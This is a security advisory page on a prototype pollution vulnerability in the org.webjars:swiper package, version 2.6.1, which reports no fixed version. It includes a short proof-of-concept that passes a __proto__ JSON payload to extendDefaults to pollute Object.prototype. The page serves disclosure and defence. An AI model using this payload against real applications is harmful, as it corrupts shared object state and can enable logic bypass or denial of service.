org.webjars:swiper@2.6.1 vulnerabilities

Direct Vulnerabilities

Known vulnerabilities in the org.webjars:swiper package. This does not include vulnerabilities belonging to this package’s dependencies.

Automatically find and fix vulnerabilities affecting your projects. Snyk scans for vulnerabilities and provides fixes for free.
Fix for free
Vulnerability Vulnerable Version
  • H
Prototype Pollution

org.webjars:swiper is a Most modern mobile touch slider and framework with hardware accelerated transitions

Affected versions of this package are vulnerable to Prototype Pollution.

PoC

var swiper = require('swiper');

var malicious_payload = '{"__proto__":{"polluted":"HACKED"}}';
console.log("Before: " + {}.polluted); // undefined
swiper.default.extendDefaults(JSON.parse(malicious_payload));
console.log("After: " + {}.polluted); // HACKED

How to fix Prototype Pollution?

There is no fixed version for org.webjars:swiper.

[0,)